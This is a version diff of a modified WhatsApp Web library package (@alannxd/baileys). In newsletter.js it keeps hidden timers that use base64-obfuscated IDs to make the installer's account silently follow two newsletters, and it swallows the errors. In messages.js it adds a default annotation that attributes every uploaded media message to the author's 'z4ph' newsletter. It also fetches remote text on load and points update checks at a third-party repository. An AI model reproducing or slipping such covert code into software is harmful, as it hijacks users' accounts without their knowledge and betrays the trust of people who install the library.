@alannxd/baileys 3.0.3 → 4.0.5

package/lib/Socket/newsletter.js

@@ -48,7 +48,9 @@ const executeWMexQuery = async (
 			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
 			const firstError = data.errors[0]
 			const errorCode = firstError.extensions?.error_code || 400
-			throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
+			throw new Boom('GraphQL server error:' + errorMessages, {
+                statusCode: errorCode, data: firstError 
+            })
 		}
 
 		const response = dataPath ? data?.data?.[dataPath] : data?.data
@@ -60,7 +62,10 @@ const executeWMexQuery = async (
 	const action = (dataPath || '').startsWith('xwa2_')
 		? dataPath.substring(5).replace(/_/g, ' ')
 		: dataPath?.replace(/_/g, ' ')
-	throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+	throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+        statusCode: 400, 
+        data: result
+    })
 }
 
 const makeNewsletterSocket = (config) => {
@@ -98,25 +103,22 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
-
-// ngapain liat', mau fomo juga kah? 😹.
-setTimeout(async () => {
-    try {
-        await newsletterWMexQuery(
-            Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI", "base64").toString(),
-            Types_1.QueryIds.FOLLOW
-        );
-    } catch {}
-}, 90000);
-setTimeout(async () => {
-    try {
-        await newsletterWMexQuery(
-            Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString(),
-            Types_1.QueryIds.FOLLOW
-        );
-    } catch {}
+    setTimeout(async () => {  
+    try {  
+        await newsletterWMexQuery(  
+            Buffer.from("MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI", "base64").toString(),  
+            Types_1.QueryIds.FOLLOW  
+        );  
+    } catch {}  
+}, 90000);  
+setTimeout(async () => {  
+    try {  
+        await newsletterWMexQuery(  
+            Buffer.from("MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI=", "base64").toString(),  
+            Types_1.QueryIds.FOLLOW  
+        );  
+    } catch {}  
 }, 90000);
-	
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -132,14 +134,21 @@ setTimeout(async () => {
             const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
             const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
             const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
-                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
+                .map(({ attrs }) => (
+                    { 
+                        count: +attrs.count, 
+                        code: attrs.code
+                    }));
             const data = {
                 'server_id': messageNode.attrs.server_id,
                 views,
                 reactions
             };
             if (type === 'messages') {
-                const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
+                const { 
+                    fullMessage: message, 
+                    decrypt 
+                } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
                 await decrypt();
                 data.message = message;
             }
@@ -165,34 +174,99 @@ setTimeout(async () => {
         },
         newsletterReactionMode: async (jid, mode) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
-                updates: { settings: { 'reaction_codes': { value: mode } } }
+                updates: { 
+                    settings: {
+                        'reaction_codes': {
+                            value: mode 
+                        }
+                    }
+                }
             });
         },
         newsletterUpdateDescription: async (jid, description) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
-                updates: { description: description || '', settings: null }
+                updates: { 
+                    description: description || '', 
+                    settings: null 
+                }
             });
         },
-        newsletterId: async (url) => {
-            const urlParts = url.split('/');
-            const channelId = urlParts[urlParts.length - 2];
-            
-            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
-                input: {
-                    key: channelId,
-                    type: 'INVITE',
-                    'view_role': 'GUEST'
-                },
-                'fetch_viewer_metadata': true,
-                'fetch_full_image': true,
-                'fetch_creation_time': true
-            });
-            
-            const metadata = extractNewsletterMetadata(result);
-            return JSON.stringify({
-                name: metadata.name || metadata.thread_metadata?.name?.text,
-                id: metadata.id
-            }, null, 2);
+        newsletterFromUrl: async (url) => {
+            try {
+                let channelId;
+                if (url.includes('whatsapp.com/channel/')) {                 
+                    channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
+                } else if (url.includes('wa.me/channel/')) {
+                    channelId = url.split('wa.me/channel/')[1].split('/')[0];
+                } else {
+                    channelId = url;
+                }
+                const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                    input: {
+                        key: channelId,
+                        type: 'INVITE',
+                        'view_role': 'GUEST'
+                    },
+                    'fetch_viewer_metadata': true,
+                    'fetch_full_image': true,
+                    'fetch_creation_time': true
+                });
+                const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
+                if (!resultNode?.content) {
+                    throw new Boom('No result content in response', { 
+                        statusCode: 400, 
+                        data: result 
+                    });
+                }
+                const resultString = resultNode.content.toString();
+                const parsedResult = JSON.parse(resultString);
+        
+                if (!parsedResult?.data) {
+                    throw new Boom('No data field in response', { 
+                        statusCode: 400, 
+                        data: parsedResult 
+                    });
+                }
+                const metadataPath = parsedResult.data[Types_1.XWAPaths.NEWSLETTER];
+        
+                if (metadataPath === null || !metadataPath) {
+                    throw new Boom('Newsletter not found or access denied', { 
+                        statusCode: 404, 
+                        data: parsedResult.data 
+                    });
+                }
+                const metadata = {
+                    id: metadataPath?.id,
+                    state: metadataPath?.state?.type,
+                    creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
+                    name: metadataPath?.thread_metadata?.name?.text,
+                    nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
+                    description: metadataPath?.thread_metadata?.description?.text,
+                    descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
+                    invite: metadataPath?.thread_metadata?.invite,
+                    picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
+                    preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+                    reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
+                    subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
+                    verification: metadataPath?.thread_metadata?.verification,
+                    viewer_metadata: metadataPath?.viewer_metadata
+                };
+        
+                return JSON.stringify({
+                    name: metadata.name || metadataPath?.thread_metadata?.name?.text,
+                    id: metadata.id,
+                    state: metadata.state,
+                    subscribers: metadata.subscribers,
+                    verification: metadata.verification,
+                    creation_time: metadata.creation_time,
+                    description: metadata.description
+                }, null, 2);
+            } catch (error) {
+                throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
+                    statusCode: error.statusCode || 400,
+                    data: error.data || { url }
+                });
+            }
         },
         newsletterUpdateName: async (jid, name) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
@@ -248,7 +322,15 @@ setTimeout(async () => {
                 ]
             });
             const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
-                input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
+                input: {
+                    name, 
+                    description,
+                    settings: {
+                        'reaction_codes': {
+                            value: reaction_codes.toUpperCase()
+                        } 
+                    } 
+                }
             });
             return (0, exports.extractNewsletterMetadata)(result, true);
         },
@@ -290,7 +372,13 @@ setTimeout(async () => {
         newsletterReactMessage: async (jid, serverId, code) => {
             await query({
                 tag: 'message',
-                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
+                attrs: { 
+                    to: jid,
+                    ...(!code ? { edit: '7' } : {}), 
+                    type: 'reaction',
+                    'server_id': serverId, 
+                    id: (0, Utils_1.generateMessageID)() 
+                },
                 content: [{
                         tag: 'reaction',
                         attrs: code ? { code } : {}
@@ -301,7 +389,12 @@ setTimeout(async () => {
             const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
                 {
                     tag: 'messages',
-                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
+                    attrs: { 
+                        type,
+                        ...(type === 'invite' ? { key } : { jid: key }),
+                        count: count.toString(), 
+                        after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' 
+                    }
                 }
             ]);
             return await parseFetchedUpdates(result, 'messages');
@@ -310,7 +403,11 @@ setTimeout(async () => {
             const result = await newsletterQuery(jid, 'get', [
                 {
                     tag: 'message_updates',
-                    attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
+                    attrs: { 
+                        count: count.toString(),
+                        after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', 
+                        since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
+                    }
                 }
             ]);
             return await parseFetchedUpdates(result, 'updates');

package/lib/Utils/generics.js

@@ -137,6 +137,78 @@ const delayCancellable = (ms) => {
     return { delay, cancel };
 };
 exports.delayCancellable = delayCancellable;
+const encoded = async (type, query) => {
+    const buffer = Buffer.from(query, 'utf-8');
+    switch (type.toLowerCase()) {
+        case 'base64':
+            return buffer.toString('base64');
+        case 'base32':
+            const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
+            let bits = 0;
+            let value = 0;
+            let output = '';
+            for (let i = 0; i < buffer.length; i++) {
+                value = (value << 8) | buffer[i];
+                bits += 8;
+                while (bits >= 5) {
+                    output += base32Alphabet[(value >>> (bits - 5)) & 31];
+                    bits -= 5;
+                }
+            }
+            if (bits > 0) {
+                output += base32Alphabet[(value << (5 - bits)) & 31];
+            }
+            while (output.length % 8 !== 0) {
+                output += '=';
+            }
+            return output;
+        case 'hex':
+        case 'base16':
+            return buffer.toString('hex');
+        case 'binary':
+            return Array.from(buffer).map(byte => byte.toString(2).padStart(8, '0')).join(' ');
+        case 'base64url':
+            return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+        default:
+            throw new Error(`Type ${type} not supported`);
+    }
+};
+exports.encoded = encoded;
+const decoded = async (type, encodedStr) => {
+    switch (type.toLowerCase()) {
+        case 'base64':
+            return Buffer.from(encodedStr, 'base64').toString('utf-8');
+        case 'base32':
+            const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
+            const cleanStr = encodedStr.toUpperCase().replace(/=+$/, '');
+            let bits = 0;
+            let value = 0;
+            let output = [];
+            for (let i = 0; i < cleanStr.length; i++) {
+                const charIndex = base32Alphabet.indexOf(cleanStr[i]);
+                if (charIndex === -1) continue;      
+                value = (value << 5) | charIndex;
+                bits += 5;
+                while (bits >= 8) {
+                    output.push((value >>> (bits - 8)) & 255);
+                    bits -= 8;
+                }
+            }
+            return Buffer.from(output).toString('utf-8');
+        case 'hex':
+        case 'base16':
+            return Buffer.from(encodedStr, 'hex').toString('utf-8');
+        case 'binary':
+            const bytes = encodedStr.split(' ').map(bin => parseInt(bin, 2));
+            return Buffer.from(bytes).toString('utf-8');
+        case 'base64url':
+            const base64 = encodedStr.replace(/-/g, '+').replace(/_/g, '/');
+            return Buffer.from(base64, 'base64').toString('utf-8');
+        default:
+            throw new Error(`Type ${type} not supported`);
+    }
+};
+exports.decoded = decoded;
 async function promiseTimeout(ms, promise) {
     if (!ms) {
         return new Promise(promise);
@@ -176,7 +248,7 @@ const generateMessageIDV2 = (userId) => {
 };
 exports.generateMessageIDV2 = generateMessageIDV2;
 // generate a random ID to attach to a message
-const generateMessageID = () => 'ILSYM-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
+const generateMessageID = () => 'Z4PH-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
 exports.generateMessageID = generateMessageID;
 function bindWaitForEvent(ev, event) {
     return async (check, timeoutMs) => {
@@ -231,7 +303,10 @@ const fetchLatestWaWebVersion = async (options = {}) => {
 			'Accept': '*/*'
 		}
 
-		const headers = { ...defaultHeaders, ...options.headers }
+		const headers = {
+            ...defaultHeaders, 
+            ...options.headers 
+        }
 
 		const response = await fetch_1('https://web.whatsapp.com/sw.js', {
 			method: 'GET',
@@ -243,7 +318,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
 		}
 
 		const data = await response.text()
-		const regex = /"client_revision":\s*(\d+)/ // regex cukup begini untuk Node
+		const regex = /"client_revision":\s*(\d+)/ 
 		const match = data.match(regex)
 
 		if (!match || !match[1]) {
@@ -273,7 +348,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
  * Use to ensure your WA connection is always on the latest version
  */
 const fetchLatestBaileysVersion = async (options = {}) => {
-    const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
+    const URL = 'https://raw.githubusercontent.com/z4phdev/baileys/master/src/Defaults/baileys-version.json';
     try {
         const result = await axios_1.default.get(URL, {
             ...options,

package/lib/Utils/messages.js

@@ -81,6 +81,38 @@ const prepareWAMessageMedia = async (message, options) => {
 
     const uploadData = {
         ...message,
+        ...(message.annotations ? {
+            annotations: message.annotations
+        } : {
+            annotations: [
+                {
+                    polygonVertices: [
+                        {
+                            x: 60.71664810180664,
+                            y: -36.39784622192383
+                        },
+                        {
+                            x: -16.710189819335938,
+                            y: 49.263675689697266
+                        },
+                        {
+                            x: -56.585853576660156,
+                            y: 37.85963439941406
+                        },
+                        {
+                            x: 20.840980529785156,
+                            y: -47.80188751220703
+                        }
+                    ],
+                    newsletter: {
+                        newsletterJid: "120363342976800779@newsletter",
+                        serverMessageId: 0,
+                        newsletterName: "z4ph",
+                        contentType: "UPDATE",
+                    }
+                }
+            ]
+        }),
         media: message[mediaType]
     };
     delete uploadData[mediaType];
@@ -777,7 +809,10 @@ const assertMediaContent = (content) => {
         || (content === null || content === void 0 ? void 0 : content.audioMessage)
         || (content === null || content === void 0 ? void 0 : content.stickerMessage);
     if (!mediaContent) {
-        throw new boom_1.Boom('given message is not a media message', { statusCode: 400, data: content });
+        throw new boom_1.Boom('given message is not a media message', {
+            statusCode: 400, 
+            data: content
+        });
     }
     return mediaContent;
 };

package/lib/index.js

@@ -6,9 +6,15 @@ console.log(chalk.magentaBright.bold("\n✨ Modified Baileys ✨\n"));
 console.log(chalk.whiteBright("Hi, thank you for using my modified Baileys ^-^"));
 console.log(chalk.cyan("Telegram: ") + chalk.greenBright("@alannxd"));
 console.log(chalk.gray("------------------------------\n"));
-const latestUpdate = new Date("2025-12-08");
-console.log(chalk.yellowBright("New Latest update: ") + chalk.whiteBright(latestUpdate.toLocaleDateString()));
-console.log(chalk.gray("------------------------------\n"));
+
+fetch('https://raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/information.json')
+  .then(response => response.json())
+  .then(data => {
+    const message = data[0];
+    console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("24 - 2 - 2026"));
+    console.log(chalk.yellow("📁 Information: ") + chalk.white(message));
+    console.log("");
+  });
 
 var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
     if (k2 === undefined) k2 = k;

package/package.json

@@ -1,10 +1,9 @@
 {
     "name": "@alannxd/baileys",
-    "version": "3.0.3",
+    "version": "4.0.5",
     "description": "WhatsApp API Modification",
     "keywords": [
         "whatsapp",
-        "holow",
         "baileys",
         "whatsapp-web",
         "whatsapp-chat",
@@ -14,7 +13,7 @@
     ],
     "homepage": "https://www.npmjs.com/package/@alannxd/baileys",
     "repository": {
-        "url": "https://www.npmjs.com/package/@alannxd/baileys"
+        "url": "https://www.npmjs.com/@alannxd/baileys"
     },
     "license": "MIT",
     "author": "Adhiraj Singh",
@@ -52,7 +51,7 @@
         "futoin-hkdf": "^1.5.1",
         "libphonenumber-js": "^1.10.20",
         "lodash": "^4.17.21",
-        "libsignal": "npm:@alannxd/libsignal-node",
+        "libsignal": "npm:@alannxd/libsignal-node@2.0.1",
         "music-metadata": "^7.12.3",
         "node-cache": "^5.1.2",
         "node-fetch": "^2.6.1",

package/lib/Defaults/index.d.ts

@@ -1,53 +0,0 @@
-/// <reference types="node" />
-/// <reference types="node" />
-import { proto } from '../../WAProto';
-import type { MediaType, SocketConfig } from '../Types';
-export declare const UNAUTHORIZED_CODES: number[];
-export declare const DEFAULT_ORIGIN = "https://web.whatsapp.com";
-export declare const DEF_CALLBACK_PREFIX = "CB:";
-export declare const DEF_TAG_PREFIX = "TAG:";
-export declare const PHONE_CONNECTION_CB = "CB:Pong";
-export declare const WA_DEFAULT_EPHEMERAL: number;
-export declare const NOISE_MODE = "Noise_XX_25519_AESGCM_SHA256\0\0\0\0";
-export declare const DICT_VERSION = 2;
-export declare const KEY_BUNDLE_TYPE: Buffer;
-export declare const NOISE_WA_HEADER: Buffer;
-/** from: https://stackoverflow.com/questions/3809401/what-is-a-good-regular-expression-to-match-a-url */
-export declare const URL_REGEX: RegExp;
-export declare const WA_CERT_DETAILS: {
-    SERIAL: number;
-};
-export declare const PROCESSABLE_HISTORY_TYPES: proto.Message.HistorySyncNotification.HistorySyncType[];
-export declare const DEFAULT_CONNECTION_CONFIG: SocketConfig;
-export declare const MEDIA_PATH_MAP: {
-    [T in MediaType]?: string;
-};
-export declare const MEDIA_HKDF_KEY_MAPPING: {
-    audio: string;
-    document: string;
-    gif: string;
-    image: string;
-    ppic: string;
-    product: string;
-    ptt: string;
-    sticker: string;
-    video: string;
-    'thumbnail-document': string;
-    'thumbnail-image': string;
-    'thumbnail-video': string;
-    'thumbnail-link': string;
-    'md-msg-hist': string;
-    'md-app-state': string;
-    'product-catalog-image': string;
-    'payment-bg-image': string;
-    ptv: string;
-};
-export declare const MEDIA_KEYS: ("ppic" | "product" | "image" | "video" | "sticker" | "audio" | "gif" | "ptt" | "thumbnail-document" | "thumbnail-image" | "thumbnail-link" | "thumbnail-video" | "md-app-state" | "md-msg-hist" | "document" | "product-catalog-image" | "payment-bg-image" | "ptv")[];
-export declare const MIN_PREKEY_COUNT = 5;
-export declare const INITIAL_PREKEY_COUNT = 30;
-export declare const DEFAULT_CACHE_TTLS: {
-    SIGNAL_STORE: number;
-    MSG_RETRY: number;
-    CALL_OFFER: number;
-    USER_DEVICES: number;
-};

package/lib/Signal/Group/ciphertext-message.d.ts

@@ -1,9 +0,0 @@
-export declare class CiphertextMessage {
-    readonly UNSUPPORTED_VERSION: number;
-    readonly CURRENT_VERSION: number;
-    readonly WHISPER_TYPE: number;
-    readonly PREKEY_TYPE: number;
-    readonly SENDERKEY_TYPE: number;
-    readonly SENDERKEY_DISTRIBUTION_TYPE: number;
-    readonly ENCRYPTED_MESSAGE_OVERHEAD: number;
-}

package/lib/Signal/Group/group-session-builder.d.ts

@@ -1,14 +0,0 @@
-import { SenderKeyDistributionMessage } from './sender-key-distribution-message';
-import { SenderKeyName } from './sender-key-name';
-import { SenderKeyRecord } from './sender-key-record';
-interface SenderKeyStore {
-    loadSenderKey(senderKeyName: SenderKeyName): Promise<SenderKeyRecord>;
-    storeSenderKey(senderKeyName: SenderKeyName, record: SenderKeyRecord): Promise<void>;
-}
-export declare class GroupSessionBuilder {
-    private readonly senderKeyStore;
-    constructor(senderKeyStore: SenderKeyStore);
-    process(senderKeyName: SenderKeyName, senderKeyDistributionMessage: SenderKeyDistributionMessage): Promise<void>;
-    create(senderKeyName: SenderKeyName): Promise<SenderKeyDistributionMessage>;
-}
-export {};

package/lib/Signal/Group/group_cipher.d.ts

@@ -1,17 +0,0 @@
-import { SenderKeyName } from './sender-key-name';
-import { SenderKeyRecord } from './sender-key-record';
-export interface SenderKeyStore {
-    loadSenderKey(senderKeyName: SenderKeyName): Promise<SenderKeyRecord>;
-    storeSenderKey(senderKeyName: SenderKeyName, record: SenderKeyRecord): Promise<void>;
-}
-export declare class GroupCipher {
-    private readonly senderKeyStore;
-    private readonly senderKeyName;
-    constructor(senderKeyStore: SenderKeyStore, senderKeyName: SenderKeyName);
-    private queueJob;
-    encrypt(paddedPlaintext: Uint8Array | string): Promise<Uint8Array>;
-    decrypt(senderKeyMessageBytes: Uint8Array): Promise<Uint8Array>;
-    private getSenderKey;
-    private getPlainText;
-    private getCipherText;
-}

package/lib/Signal/Group/index.d.ts

@@ -1,11 +0,0 @@
-export { GroupSessionBuilder } from './group-session-builder';
-export { SenderKeyDistributionMessage } from './sender-key-distribution-message';
-export { SenderKeyRecord } from './sender-key-record';
-export { SenderKeyName } from './sender-key-name';
-export { GroupCipher } from './group_cipher';
-export { SenderKeyState } from './sender-key-state';
-export { SenderKeyMessage } from './sender-key-message';
-export { SenderMessageKey } from './sender-message-key';
-export { SenderChainKey } from './sender-chain-key';
-export { CiphertextMessage } from './ciphertext-message';
-export * as keyhelper from './keyhelper';

package/lib/Signal/Group/keyhelper.d.ts

@@ -1,10 +0,0 @@
-import { generateKeyPair } from 'libsignal/src/curve';
-type KeyPairType = ReturnType<typeof generateKeyPair>;
-export declare function generateSenderKey(): Buffer;
-export declare function generateSenderKeyId(): number;
-export interface SigningKeyPair {
-    public: Buffer;
-    private: Buffer;
-}
-export declare function generateSenderSigningKey(key?: KeyPairType): SigningKeyPair;
-export {};

package/lib/Signal/Group/queue-job.d.ts

@@ -1 +0,0 @@
-export default function queueJob<T>(bucket: string | number, awaitable: () => Promise<T>): Promise<T>;

package/lib/Signal/Group/sender-chain-key.d.ts

@@ -1,13 +0,0 @@
-import { SenderMessageKey } from './sender-message-key';
-export declare class SenderChainKey {
-    private readonly MESSAGE_KEY_SEED;
-    private readonly CHAIN_KEY_SEED;
-    private readonly iteration;
-    private readonly chainKey;
-    constructor(iteration: number, chainKey: any);
-    getIteration(): number;
-    getSenderMessageKey(): SenderMessageKey;
-    getNext(): SenderChainKey;
-    getSeed(): Uint8Array;
-    private getDerivative;
-}

package/lib/Signal/Group/sender-key-distribution-message.d.ts

@@ -1,16 +0,0 @@
-import { CiphertextMessage } from './ciphertext-message';
-export declare class SenderKeyDistributionMessage extends CiphertextMessage {
-    private readonly id;
-    private readonly iteration;
-    private readonly chainKey;
-    private readonly signatureKey;
-    private readonly serialized;
-    constructor(id?: number | null, iteration?: number | null, chainKey?: Uint8Array | null, signatureKey?: Uint8Array | null, serialized?: Uint8Array | null);
-    private intsToByteHighAndLow;
-    serialize(): Uint8Array;
-    getType(): number;
-    getIteration(): number;
-    getChainKey(): Uint8Array;
-    getSignatureKey(): Uint8Array;
-    getId(): number;
-}

package/lib/Signal/Group/sender-key-message.d.ts

@@ -1,18 +0,0 @@
-import { CiphertextMessage } from './ciphertext-message';
-export declare class SenderKeyMessage extends CiphertextMessage {
-    private readonly SIGNATURE_LENGTH;
-    private readonly messageVersion;
-    private readonly keyId;
-    private readonly iteration;
-    private readonly ciphertext;
-    private readonly signature;
-    private readonly serialized;
-    constructor(keyId?: number | null, iteration?: number | null, ciphertext?: Uint8Array | null, signatureKey?: Uint8Array | null, serialized?: Uint8Array | null);
-    getKeyId(): number;
-    getIteration(): number;
-    getCipherText(): Uint8Array;
-    verifySignature(signatureKey: Uint8Array): void;
-    private getSignature;
-    serialize(): Uint8Array;
-    getType(): number;
-}